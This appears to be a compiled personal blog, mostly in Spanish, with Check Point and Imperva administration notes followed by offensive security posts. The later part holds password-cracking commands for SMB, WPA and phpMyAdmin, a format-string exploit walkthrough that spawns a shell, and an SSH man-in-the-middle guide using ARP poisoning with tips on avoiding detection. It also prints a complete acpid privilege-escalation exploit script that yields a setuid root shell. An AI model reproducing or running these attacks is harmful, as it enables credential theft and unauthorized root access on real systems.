Alto uso de CPU por disco duro en Imperva

Hola a todos, bueno este sencillo documento nos ayudara a tener en cuenta algunos factores que hay que revisar si nuestro deployment con imperva si tiene una alta utilización de CPU.

Nuevamente las condiciones de esta instalación son las siguientes:

1. La instalación de imperva se encuentra sobre un chassis Crossbeam corriendo XOS 9.5.2.
2. La versión de nuestro imperva es la SecureSphere Gateway 8.0.0.
3. Solo funciona en modo pasivo(sniffing).
4. No se realiza ninguna operación de bloqueo en el tráfico.
5. No se hace ninguna serialización de trafico en el chasis de crossbeam.

Muchas veces nos enfocamos en ver los procesos y sus consumos de cpu usando la herramienta top, pero descuidamos varias métricas, como que imperva hace un uso intensivo del disco duro en operaciones de Lectura y Escritura, las cuales también consumen procesamiento.

Si este es el caso, el diagnostico es muy sencillo, primero que nada tenemos que verificar que tanto esta escribiendo y leyendo de nuestro disco duro, con un comando simple.

Por ejemplo:

imperva_1 (FW-LAB-HD): ~# iostat -d -x 5 3

Ahora bien veamos un poco la imagen, en lo que nos tendremos que fijar es en la columna de %util, la cual indica el porcentaje de procesamiento que nos están consumiendo las operaciones de Lectura y Escritura.

Ahora veamos las operaciones de r/s, tenemos un alto número de operaciones de lectura, para ser más precisos 42.78 operaciones por segundo.

Ahora bien ya que hemos encontrado que las operaciones a Disco Duro están consumiendo una parte importante de nuestro procesador,  la mejor manera que he visto para evitar este uso intensivo es hacer un tunning en imperva, de los eventos mas repetitivos que puedan ser descartados y no escritos en el disco duro.

Si realmente este problema de disco duro se presenta en tu ambiente, lo mejor es validar de lo que auditas que realmente es importante o abrir un ticket de soporte con imperva y que te ayuden a definir como bajar el uso de procesador que usa el disco duro.

How to migrate SMART Center Server running vsx to Provider-1

Hello everyone, due a new project related with a migration between a SMART Center to P1 and i haven't found any good info. I had to create a lab to recreate this environment.

This lab is focused to shows the steps followed during a cut over to migrate a SMART Center Server to a new infrastructure running P1.

The lab utilized is:

1. Two Crossbeam Chassis running XOS 9.5.2
2. A vsx cluster running in four apms using VSX R65 hfa20.
3. The two chassis running in VRRP.
4. Looking for a schema were the impact to the network were the less possible.

This plan was tested under a production enviroment and all works ok. But, is necesary before touch any production network have a valid coverage for Crossbeam technical support and Checkpoint.

Before the cutover:

1. Obtain a photo from the affected chassis using "show tech-support".
2. Obtain a license backup installed in the environment using SMART Update.
3. Obtain a cpinfo from all the virtual firewall just in case if we have to open a case with checkpoint.
4. Have a backup from the latest firewalls policies.
5. Verify that all the licenses related with the P1 are correct.
6. Obtain the latest local.arp file.
7. Obtain the latest version for the /var/opt/fw.boot/modules/fwkern.conf and /etc/ppk.boot/boot/modules/simkern.conf files.
8. Have migrated all the firewalls policies to P1.

Activities during the cutover:

1. Installs the corresponding license to the P1 and the CMA.
2. Obtain the routing table for every virtual firewall (sometimes after a chassis reboot these routes gets lost is a bug related with the XOS).
3. Obtain a backup for the vap-group related to the vsx.
4. In the backup chassis in every apm related with the vap-group we have to use the command "reset_gw" and this command brings to a initial state every vsx gateway.
5. Using our P1 we have to take the necessary context related with our CMA using mdsenv
6. We need to close all the dashboard instances to avoid any problem during the reconfiguration.
7. Using vsx_util we have to reconfigure every apm related with the cluster.
8. After the execution of the vsx_util we had to fill all the info related to the firewall, for example: "Enter VSX gateway/member object name to reconfigure:"
9. We need to use the name of the object related with the cluster if you need to find this info use the dashboard in the cluster section.
10. 
11. In this case the name of the object was: FW-VSX_Test_fw1.
12. Once obtained a message similar to this, we have to reboot every apm affected using the command reboot or "reload vap-group "
13. 
14. If for some reason the vsx_util doesn't work, you'll have to do some troubleshooting or call chackpoint in my case the troubleshooting was enough.
15. Once the vap-group goes to active. We can observe it using “show ap-vap-mapping”.
16. We can use our newer P1 SMART Dashboard in write mode and in every vsx cluster object we need to press ok in that screen to regenerate every virtual firewall.
17. 
18. 
19. After this step is necessary remove the old licenses related with this vsx cluster using the SMART update in Provider-1
20. After remove the old licenses we can continue adding the new licenses files.
21. Using vim we have to regenerate the local.arp files in every apm affected by the reset_gw, in other words the backup chassis, the other one must be handling the traffic.
22. We can proceed to install the rulebase in every virtual instance, don't forget remove the option "for gateway cluster..."
23. 
24. After the policie installation we need to check the routes and compare to look if something have change. If something was changed, is necesary to do troubleshooting.
25. Verify that arp entries in the local.arp file are working using fw ctl -vs vsid arp
26. A very important point is compare the files /var/opt/fw.boot/modules/fwkern.conf y /etc/ppk.boot/boot/modules/simkern.conf, with the files taken before the cutover if something changes we have keep the original configuration.
27. After all of this we can switch the traffic to this box using vrrp-relinquish-master.
28. Using smartview tracker we can verify that the traffic is flowing.
29. We can continue following all of this steps for the other chassis.

Plan de migración de SMART Center a Provider-1

Hola a todos, debido a que surgió un proyecto de migración aP1 y no había encontrado información relevante con respecto a este tema, decidíhacer un laboratorio relacionado a esta actividad y compartir el plan demigración con ustedes.

En este lab se reflejan los pasos utilizados para migrar unSMART Center Server usando VSX a un ambiente de provider-1.

El esquema utilizado es el siguiente:

1. Doschasis Crossbeam corriendo XOS 9.5.2
2. Uncluster con 4 apms corriendo VSX R65 HFA_20
3. Losdos chasis en VRRP
4. Unesquema donde no se tenga impacto en la red, afectando primero el chasis debackup y mediante vrrp probar una vez que se migro a P1 que todo trabajecorrectamente.

Este plan ya fue probado en ambientes de producción y todotrabaja correctamente, solo antes de realizar cualquier movimiento es necesariocontar con contrato de soporte con Checkpoint y Crossbeam.

Antes del cambio:

1. Obtenerla foto de los chasis afectados mediante un “show tech-support”.
2. Obteneruna copia de las licencias cargadas en el ambiente, usando el SMART Update.
3. Obtenerun cpinfo de toda la plataforma, para tener una foto del ambiente por si senecesita abrir un caso con Checkpoint.
4. Tenerla versión de las políticas firewall más recientes.
5. Verificaren el P1 que las licencias que se tienen son correctas.
6. Obtenerla última versión del archivo local.arp de todos los firewalls.
7. Tenerla última versión de cada APM de los archivos /var/opt/fw.boot/modules/fwkern.confy /etc/ppk.boot/boot/modules/simkern.conf
8. Tenermigradas las políticas al Provider-1 antes de la ventana de mantenimiento.

Actividades durante la ventana:

1. Instalarla licencia correspondiente al P1 y al CMA a utilizar.
2. Obtenerla tabla de ruteo de los firewalls virtuales (Hay veces que al reiniciar loschasis estas se pierden esto es un bug del XOS).
3. Obtenerdel vap-group un backup mediante archive-vap-group.
4. Nuevamenteen el chasis del backup en cada apm relacionada con el vap-group, usaremos elcomando reset_gw y regresamos nuestro VSX Gateway a un estado inicial, con estoperderemos comunicación con el SMART Center.
5. Entramosa nuestro Provider-1 dentro de la CMA creada para contener a esta consolausando el comando mdsenv .
6. Cerramostodas las instancias de SMART Dashboard.
7. Usamosla herramienta vsx_util reconfigure, para re configurar las apms.
8. Llenamoslos datos usando la cuenta que administra esta consola por ejemplo un usuariofwadmin.
9. Unavez que nos pregunte lo siguiente: “EnterVSX gateway/member object name to reconfigure:"
10. Ponemosel nombre del objeto a configurar, en este caso lo podemos obtener en eldashboard en las propiedades del cluster.
11. 
12. Enmi caso el objeto referenciando al clúster de VSX es el siguiente:FW-VSX_Test_fw1.
13. Unavez que obtenemos un mensaje como este podemos reiniciar la apm mediante elcomando reboot o usando el comando “reload vap-group ”.
14. 
15. Sipor algún motivo no funciono el reconfigure, pues tendrás que hacertroubleshooting o hablar a Checkpoint, en mi caso con el troubleshooting fuesuficiente.
16. Unavez que el vap-group vaya a Active usando, observamos a este vap-group medianteel comando “show ap-vap-mapping.
17. Entramosa nuestra nueva consola mediante el dashboard en modo escritura y en cadaobjeto relacionado al cluster de VSX presionamos el botón de OK, para que lasconfiguraciones del VFW, sean enviadas a las instancias de VSX correspondiente.
18. 
19. 
20. Removemoslas viejas licencias debido a que nuestra CMA cuenta con una dirección ipdiferente al SMART Center Server.
21. Instalamoslas nuevas licencias regeneradas con la nueva ip.
22. Generamosnuevamente nuestro archivo local.arp por cada instancia de firewall virtual, sies que usamos este archivo.
23. Unavez hecho esto podemos instalar políticas en nuestros firewalls virtualesusando la consola de P1, no olvidemos deshabilitar la siguiente opción.
24. 
25. Despuesde la instalación, verificamos que las rutas sigan igual en cada contexto, solopor si acaso si algo cambio es necesario hacer troubleshooting por el bugcomentado arriba.
26. Verificarque el arp se esté propagando mediante “fw ctl –vs vsid arp”.
27. Unpunto muy importante es verificar que los archivos /var/opt/fw.boot/modules/fwkern.conf y /etc/ppk.boot/boot/modules/simkern.conf,tengan el mismo contenido que antes de hacer la ventana, si no es así esnecesario ajustarlos y reiniciar nuevamente el vap-group.
28. Switcheamosel tráfico a este chasis administrado por el equipo P1 mediante un “vrrp-relinquish-master”,si queremos que este comando funcione correctamente es necesario tener elchasis 100% saludable en la configuración de VRRP.
29. Usandoel SMART View tracker verificamos que el tráfico nuevo fluya sobre este chasis.
30. Realizamosel mismo set de operaciones en el otro equipo.

Como regenerar firewalls virtuales en VSX R65

Hola a todos,

Bueno no sé si a alguno le ha pasado que reiniciando su VSX Gateway algunas instancias de Firewall ya no arrancan correctamente quedando de la siguiente manera:

ID  | Type & Name             | Security Policy   | Installed at    | SIC Stat

-----+-------------------------+-------------------+-----------------+---------

   3 | S VF1                  -...| Politica_FW_Int...|  1Aug2012 12:16 | Trust

   4 | W VSW1            ...|   |                 | Trust

   5 | ? VF2                  ...|       |                 | Trust

   6 | W VSW2           ...|   |                 | Trust

   7 | W  VSW3           ...|   |                 | Trust

   8 | W VSW4            ...|   |                 | Trust

   9 | W VSW5             ...|   |                 | Trust

  10 | ? VF3                  -...|       |                 | Trust

Como podemos ver algunos firewalls virtuales se han quedado en el imbo (los que tienen el símbolo de pregunta "?"), esto me ha pasado con los chasis de Crossbeam X80 corriendo XOS 9.5.2 con VSX R65_HFA_20, para solucionar esto realizamos lo siguiente:

1.       Si tienes un chasis de backup pasa el trafico al otro equipo, si es que este no tiene el mismo problema..

2.       Una vez que el trafico pase por la otra  caja, valida que tienes conectividad con el SMART Center.

3.       Ejecuta el siguiente comando "vsx fetch local" o "vsx fetch "

4.       Con esto simplemente usamos las configuraciones relacionadas a VSX que están guardados en nuestro VSX Gateway o en nuestro SMART Center Server para regenerar las configuraciones de VSX en nuestro equipo.

5.       Una vez que todo haya quedado solo valida que el SIC este correctamente y haz un push en el Dashboard de la topología entrando a cada instancia virtual y presionando OK.

6.       Por último solo instala las reglas de firewall en cada instancia virtual.

Como instalar el plugin de Python para IDA 6.x

Hola les dejo esta entrada por si alguna vez ejecutaron el IDA y este enviaba el error de que el plugin de python no era encontrado. Les dejo los pasos aca abajo.

1. Descargar la version 2.7 de python del sitio oficial.
2.  Instalar python.
3.  Mover la variable de ambiente de nuestro Windows dejandola de la siguiente forma:

";C:\python27" C:\....C:\Program Files (x86)\Hyenae;C:\python27 "los 4 puntos son que no escribi todo el path completo."

1.  Descargamos de https://code.google.com/p/idapython/ el plugin para ida.
2. Siguiendo el readme.
3.  Copiamos del archivo zip la carpeta python a la carpeta del IDA, ejem: C:\ida61\python <- así debería quedar, si ya tienes este plugin sobre escríbelo con la nueva versión.
4. Dentro del zip en la carpeta plugins copiamos al path de ida los dos archivos, ejem: C:\ida61\plugins\python.p64 y C:\ida61\plugins\python.plw.
5. Ahora copiamos del zip el archivo de configuración del plugin, ejem: C:\ida61\cfg\python.cfg
6. Con estos sencillos pasos podrás usar este fabuloso plugin en IDA.

Comandos utiles

barrer una red en busca de host con ARP
for i in $( seq 10 ); do arping -c 3 192.168.1.$i ; done

Crack SMB password

medusa -M smbnt -h 192.168.213.137 -u CarlosVM -P ../wordlists/ESP/es.dic -f -m GROUP:LOCAL -m PASS:HAS

IDA

StartDebugger("/home/carlos/.../bin/seaman", "-d /dev/null AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x07\x40\x00", "")


Tcpdump

 tcpdump -eeennni enex.18 vlan and vlan 18 and host 192.168.15.121

nbtscan -r 192.168.192.0/24

Tcpdump regex para encontrar ips con puertos especificos

File Example


10:56:30.671226 IP 150.100.246.205.39239 > 150.100.246.161.1521: P 1:26(25) ack 66 win 50137
10:56:30.672038 IP 150.100.246.161.1521 > 150.100.246.205.39239: . 66:1514(1448) ack 26 win 49232
10:56:30.672038 IP 150.100.246.161.1521 > 150.100.246.205.39239: P 1514:2077(563) ack 26 win 49232
10:56:30.672040 IP 150.100.246.161.1521 > 150.100.246.205.39239: P 2077:3359(1282) ack 26 win 49232
10:56:30.672386 IP 150.100.246.205.39239 > 150.100.246.161.1521: . ack 3359 win 50137
10:56:30.672453 IP 150.100.246.161.1521 > 150.100.151.15.54173: P 2027976638:2027976646(8) ack 2412714148 win 49640
10:56:30.672565 IP 150.100.151.15.54173 > 150.100.246.161.1521: . ack 8 win 49640
10:56:30.672664 IP 150.100.151.15.54173 > 150.100.246.161.1521: P 1:173(172) ack 8 win 49640

grep -Eo '(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).((1521|1523|1525|1526))'

Localizar una conexion del fwaccel de checkpoint

fwaccel -vs 1 conns

Con esta expresion regular encontramos el puerto que queremos verificar.

((?:\d{1,3}\.){3}).\d\s*443

hashcat


D:\CARLOS DIAZ\SOFTWARE\HACKING\password cracking\oclHashcat-plus-0.1
3>cudaHashcat-plus64.exe -m 2500 -a 3 -o ..\Operaciones\infinitum --outfile-form
at=3 -1 012345678abcdef --gpu-accel=16 --gpu-loops=2048 --session=infi --gpu-tem
p-abort=85  -i --increment-min=8 --increment-max=10 ..\Operaciones\8955_13638025
83.hccap ?1?1?1?1?1?1?1?1


Expresión regular para limpiar del siguiente archivo solo los nombres de los equipos:

https://sites.google.com/site/mycadgo/scripts/equipos_raw.txt

cat equipos_raw.txt | sed -r 's/((\(([0-9]+\.)\)*)|([0-9]+\.)|([0-9A-Za-z ]+\/[0-9]*)|[0-9]+\,[0-9+])//g'| sed -r 's/[ \t]*//'| less

Patator

Romper la autenticación basica de phpmyadmin

 ./patator.py http_fuzz url=http://192.168.48.129/phpmyadmin/ user_pass=root:FILE0 0=passwords.txt accept_cookie=1 auth_type=basic -x quit:code=200 persistent=1 -l tmp

Migrar R65 con VSX a Provider-1 R71

Bueno, este fin de semana me toco la tarea de importar unas políticas de Checkpoint en un SMART Center Server, migrarlas a un esquema de Provider-1, les cuento mis experiencias:

1. La consola original que contenía las políticas estaba en R65 con el plugin de VSX.
2. Este set de políticas iban destinadas a un Provider-1, corriendo R71.40.
3. Importe las políticas  a una VM corriendo R65 HFA 70 y después hice el upgrade a R70. mediante ISO.
4. Esta misma VM la subí nuevamente de R70 a R71.10. y exporte las políticas.

Después de este paso es cuando empezaron los inconvenientes al importar la configuración a P1, ya que siempre aparecía el siguiente error.

Un poco confundido me di cuenta que tenía que crear un archivo en raíz de la siguiente manera antes de exportar los upgrade_export:

touch /AllowVsxMigration

Una vez que parecía que todo iba a funcionar, nuevamente me mandaba un error, ya saben cómo es a veces checkpoint. El cual enviaba el siguiente error.

Revisando los logs el problema parecía ser relacionado a que no encontraba el plugin de vsx, por lo cual me puse a investigar eso. Esto fue mi error realmente ya que lo único que tenía que hacer era descargar los migration_tools para la versión de R71.40 y realizar un upgrade_export usando estas herramientas, después de esto el lab empezó a funcionar.

Bueno como recomendación si van a migrar a versiones mas recientes de Checkpoint siempre usen los migration_tools y lean el release notes de la versión que será el target para la migración.

pantalla wireshark

Fromat String Overflow, Un poco de ejercicio para no oxidarse

Hola a todos espero que este pequeño ejercicio que les dejo les sirva de entrenamiento, como a mi ya que tenia rato que no hacia algo de esto y había perdido algo de toque.

Lo primero que necesitaremos sera lo siguiente:

1. Tener cualquier sistema linux disponible, en este caso lo haré en un backtrack instalado.
2. Desactivar el ASLR de Linux, no pondré como hacerlo con el ASLR, por que aun ando en eso.
3. Tener los compiladores de GCC.

 

Ahora bien empecemos con un poco de acción, el objetivo de este format string es llegar a obtener la shell de root, veamos como:

#include 
#include 

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
                seteuid(1007);
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

Como podemos observar, lo que necesitamos hacer para llegar a la shell de root es cambiar el valor de la variable i e igualarla a 500. No podemos realizar un simple buffer overflow, por que lo que escribamos en argv sera copiado al buffer mediante un snprintf.

Pero usaremos otra técnica, empecemos a ver como:

• Compilamos nuestra aplicación.

 gcc -o n6 n6.c

• Cambiamos los permisos de la aplicación para que valga la pena esto.

sudo chown root.root n6 && sudo chmod u+s n6

• Ahora bien ejecutemos un par de veces el binario que nos ha quedado.

i = 1 (0xbfefc5a8)
i = 1 (0xbfdc6f78)
i = 1 (0xbf91c688)
i = 1 (0xbf817eb8)
i = 1 (0xbfbadf08)
i = 1 (0xbfbdd568)
i = 1 (0xbf9d6c58)
i = 1 (0xbf9820e8)
i = 1 (0xbfa133d8)
i = 1 (0xbf9c2b98)

• Ahora bien como podemos ver debido a que el ASLR esta activado, la variable i siempre cambia de posición en memoria y como había mencionado no he hecho aun este ejercicio usando ASLR.

• Desactivemos el ASLR.

echo 0 > /proc/sys/kernel/randomize_va_space

• Ahora ejecutemos nuevamente el programa.carlos@bt:~/hack/narnia/tmp$ for i in $(seq 1 3); do ./n6 AAAA; done | grep "i ="

i = 1 (0xbffff6c8)
i = 1 (0xbffff6c8)
i = 1 (0xbffff6c8)

• Ahora si esta todo bajo control, la memoria de la variable se mantiene tras varias ejecuciones.

• Ahora investiguemos que sucede en el ejecutable, veamos como abusaremos un poco del código fuente.

printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));

•   Veamos que sucede cuando ejecutamos de la siguiente manera el binario:  

carlos@bt:~/hack/narnia$ ./n6 %08x.08%x.08%x.08%x.08%x Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [b7fc9ff4.08b7f78d19.08b7ea32a5.08bffff6b8.0863663762] (52) i = 1 (0xbffff6ec)

• Carajo, ahora estamos debugueando la memoria del programa, pero como funciona esto , debido a que printf, usa como argento la posición en memoria de la cadena que pasamos y como no valida la entrada de impresion, podemos imprimir las posiciones en memoria relacionadas a la entrada.

•   Pero veamos pongamos una marca como referencia.

  ./n6 AAAA%08x.08%x.08%x.08%x.08%x Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [AAAAb7fc9ff4.08b7f78d19.08b7ea32a5.08bffff6b8.0841414141] (56) i = 1 (0xbffff6ec) 

•   Uff, ahora bien ya encontramos en que posición de memoria printf esta buscando la cadena, de la siguiente manera AAA es igual a 41414141, según la tabla ascii. http://ascii.cl/es/

• Pero como podemos llegar a la posición 5 de esta memoria, pues fácilmente usando el operado $, en el printf.

The arguments must correspond properly (after type 

promotion) with the conversion specifier. 

By default, the arguments are  used  in  theorder 

given, where each '*' and each conversion specifier

 asks for the next argument (and it is an error if 

insufficiently many arguments are given). One can 

also specify explicitly which argument is taken, at

 each place where  an  argument  is  required,  by

 writing  "%m$" instead  of  '%'  and "*m$" 

instead of '*', where the decimal integer m denotes

 the position in the argument

 list of the desired argument,

indexed starting from 1.  Thus,

 printf("%*d", width, num);

       and

 printf("%2$*1$d", width, num);

 

• Veamos como  

 carlos@bt:~/hack/narnia$ ./n6 AAAA%5\$x Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [AAAA41414141] (12) i = 1 (0xbffff6fc)

•   Ahora bien llegamos a la posición 5 de memoria del printf, que es donde empieza la impresión.

• Pero bueno la intención es editar la posición de memoria donde se encuentra la variable i (0xbffff6fc).

• Pues vamos a decirle a printf que lo haga por nosotros solo ya que el primer parámetro de printf, es la posición en memoria donde se encuentra la cada, lo haremos de la siguiente forma, como observamos el primer parametro en la posición en memoria de i y hacemos un dump de su contenido como se ve en “buffer: bffff6fc”.
• Recuerden hay que invertir los valores de la memoria, por el endia de nuestro procesador i386.

carlos@bt:~/hack/narnia$ ./n6 $(printf "\xfc\xf6\xff\xbf")%5\$x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [����bffff6fc] (12)
i = 1 (0xbffff6fc)
 

• Pero como podemos editar la variable, ya llegamos a ella usando printf pero como podemos editar el valor de i, pues veamos nuevamente que dice el man page de printf.

• Pues fácilmente usaremos en printf con el “conversion specifier” n, el cual escribe la cantidad de caracteres hasta entonces escritos por printf, veamos que sucede.

./n6 $(printf "\xfc\xf6\xff\xbf")%5\$n

Change i's value from 1 -> 500. No way...let me give you a hint!

buffer : [����] (4)

i = 4 (0xbffff6fc)

• Ahora bien que carajos logramos escribir algo en la variable i, como se observa en la parte anterior.

i = 4 (0xbffff6fc)

• Pues necesitamos incrementar el valor por lo menos en 496, como 500 – 4 = 496, pero como pues incrementarlo en antes de la escribirlo con el specifier %n, de la siguiente manera %496x%5\$n

• Veamos ahora que sucede.

carlos@bt:~/hack/narnia$ ./n6 $(printf "\xfc\xf6\xff\xbf")%496x%5\$n

Change i's value from 1 -> 500. GOOD

sh-4.1$ 

• Con esto editamos el valor de la variable i y entramos el if que nos ejecuta el system, que nos da una shell, espero les sirva este ejercicio como a mi para practicar algo que no hago seguido y se tiende a olvidar.

Man in the Middle para SSH2.

Hola de Nuevo a todos, o bueno si es que alguien lee este blog ;), ahora les traigo una súper sencilla entrada pero bastante útil, para hacer alguna que otra maldad a algún sysadmin que se encuentre en nuestra red.

Básicamente mostrare de una manera bastante sencilla como obtener la contraseña de una sesión de SSH como lo haremos lo explicare más adelante.

Necesitaremos lo siguiente para este lab:

• ·        Un equipo Windows como víctima (ip 192.168.45.129.)

• ·        Un equipo Linux como servidor de ssh (ip 192.168.45.128).

• ·        Un equipo con Backtrack 5 como atacante o cualquier equipo que tenga instalado ettercap (me fascina esta herramienta ip 192.168.45.130).

• ·        Haber descargado kippo (http://code.google.com/p/kippo/) y probar que este corriendo en nuestro equipo atacante.

Ok empezaremos por mostrar cómo hacer el lab:

1.  Para empezar a ejecutar kippo necesitamos estar con un usuario que no sea root.

      2.  Una vez que se encuentre corriendo tendremos el puerto 2222 abierto en nuestro sistema, este es el honeypot de kippo.

 

1.             3.  Habilitamos el ip_forwarding en nuestro Linux de la siguiente manera:

echo 1 > /proc/sys/net/ipv4/ip_forward

1.             4.  Editamos el archivo de configuración del ettercap para dejar las siguientes líneas des comentadas, bueno realmente no es obligatorio, pero es bueno dejarlas des comentadas.

vi /etc/etter.conf.

1.             5. Generamos la siguiente línea de iptables, con esta redirigiremos todo el tráfico SSH que estamos capturando a nuestro honeypot.

iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222

1.             6.  Ahora con ettercap empezamos a realizar nuestro ataque hacia estas dos ips.

ettercap -T -M arp /192.168.45.129/ /192.168.45.128/ -i eth3

     7.  Una vez que empezamos a realizar el arp poisoning, en nuestro equipo windows observaremos la ip del servidor, asociada a la mac de nuestra interface eth3.

1.           8.  La Mac 00-0c-29-0a-48-e2 es la que usa la interfaz de mi Linux atacante, como consejo en ettercap, es mejor hacer el poisoning con la opción oneway.

ettercap -T -M arp:oneway /192.168.45.129/ /192.168.45.128/ -i eth3

1.           9.   Esto con el fin si estamos haciendo el ataque sobre el default gw de una red y este cuenta con algún método de detección de envenenamiento de tablas de arp, sea un poco más complicado que nos detecten.

  10. Ahora solo nos falta esperar a que la víctima haga una sesión de ssh sobre el servidor que estamos atacando. 

   11. Cada vez que intente logearse no podrá hacerlo ya que sus credenciales son diferentes en el honeypot, pero es muy común equivocarse de password cuando intentamos acceder por ssh, lo cual complica que consideremos que estamos siendo atacados.

 
 12.  Ahora solo queda observar el log del kippo. 

1.        13. Como podemos observar hemos capturado el usuario y la contraseña de la víctima, después hacer esto, lo más recomendable es parar el ataque lo antes posible para no levantar sospechas, frenamos el arp poisoning y limpiamos las reglas de nat, que hemos puesto.

Iptables –F –t nat

1.        14. Y así es cómo podemos obtener una contraseña hacia algún servidor ssh, solo recuerden que si el servidor no se encuentra en nuestra red, digamos en internet, hay que hacer el arp poisoning sobre el default gw, de la red.

Les dejo un script que les facilitara este trabajo.

https://sites.google.com/site/mycadgo/scripts/ssh_honeypot.sh

Acpid 1:2.0.10 escalación de privilegios en Ubuntu 11.10

Bueno espero que esta nueva entrada en el blogg les sirva.

Básicamente pues explicare un poco de cómo trabaja esta vulnerabilidad y como explotarla, para esto pues he montado un laboratorio con las siguientes características:

1. Un kubutu 11.10, sin ninguna actualización de seguridad.
2. Una cuenta de usuarios normal sin sudo.
3. Cambiar contraseñas de root y habilitar la entrada por KDE4 (solo para el demo, esto no viene configurado por defecto en Ubuntu).

4. Entrar por escritorio con cuenta de root

Exploit:

PAYLOADEXE="/var/crash/payload"
PAYLOADC="/var/crash/payload.c"

KDEDC="kded4.c"
KDEDEXE="kded4"

TRIGGER="/etc/acpi/powerbtn.sh"

rm -f $PAYLOADEXE $KDEDEXE $KDEDC $PAYLOADC

echo "[+] Setting umask to 0 so we have world writable files."
umask 0


echo "[+] Preparing binary payload."
# we _try_ to get a suid root shell, if not we only get a
# shell for another user
cat > $PAYLOADC <<_EOF
#include
void main(int argc, char **argv)
{
if(!strstr(argv[0],"shell")){
printf("[+] Preparing suid shell.\n");
system("cp /var/crash/payload /var/crash/shell");
setuid(0);
setgid(0);
chown ("/var/crash/shell", 0, 0);
chmod("/var/crash/shell", S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID);
}else{
execl("/bin/sh", "/bin/sh", "-i", 0);
}
}
_EOF
gcc -w -o $PAYLOADEXE $PAYLOADC

echo "[+] Preparing fake kded4 process."
cat > $KDEDC <<_EOF
#include
void main (){
while(42){
sleep(1);
if( access( "/var/crash/shell" , F_OK ) != -1 ) {
execl("/var/crash/shell", "/var/crash/shell", "-i", 0);
exit(0);
}
}
}
_EOF

gcc -w -o $KDEDEXE $KDEDC
rm -f $KDEDC $PAYLOADC

echo "[+] Exporting DBUS_SESSION_BUS_ADDRESS."
export DBUS_SESSION_BUS_ADDRESS="xxxx & $PAYLOADEXE"

echo "[+] Starting kded4."
echo "[+] Trying to PMS the system."
echo "[+] Waiting for the power button to be pressed."
echo "[+] You'll get a shell on this console."
./$KDEDEXE

rm $KDEDEXE

El siguiente exploit se aprovecha del script /etc/acpi/powerbtn.sh el cual es ejecutado cuando se presiona el botón de apagado de la siguiente manera, debido a que a que la variable DBUS_SESSION_BUS_ADDRESS puede ser controlada por cualquier usuario, esto hace propenso al siguiente código a ejecutar código malicioso.

test "$XUSER" != "" && test -x /usr/bin/qdbus && test -r /proc/$(pidof kded4)/environ && su - $XUSER -c "eval $(echo -n 'export '; cat /proc/$(pidof kded4)/environ |tr '\0' '\n'|grep DBUS_SESSION_BUS_ADDRESS); qdbus org.kde.kded" | grep -q powerdevil) ;

Veamos como:

1. Debido a que es necesario que solo exista un proceso de kded4, en el sistema y este sea controlado por nosotros, tendremos matarlo del sistema.

a. Para efectos de este lab lo haremos con sudo kill kded4 el que ejecute este exploit en una víctima tiene que buscarse como hacer ;).

b. Creando nuestro proceso KDED es ejecutado el cat /proc/$(pidof kded4)/environ entrara al proceso que genera este exploit.

1. Una vez haciendo esto el exploit se encarga de generar un ejecutable llamado kded4 y con el PAYLOAD logar hacer que se ejecute de la siguiente manera:

a. El ejecutable de ./payload, genera una Shell con propiedades de SUID 0, claro si esto se ejecuta como root.
b. Copia el ejecutable llamado payload por uno llamado Shell, el cual mediante un strstr decide si ejecutar la Shell, con las propiedades creadas.

3. Ahora bien cómo funciona esto:

a. Al ejecutar el exploit este exporta la variable DBUS_SESSION_BUS_ADDRESS de la siguiente manera:

DBUS_SESSION_BUS_ADDRESS=xxxx & $PAYLOADEXE

b. Mandara el comando “xxxx” al segundo plano y ejecutara el contenido de $PAYLOAD.

c. Una vez hecho esto, se necesita ejecutar el script /etc/acpi/powerbtn.sh, presionando el botón de apagar en el sistema.

d. Hecho esto debe aparecer una nueva bash con propiedades de suid de root.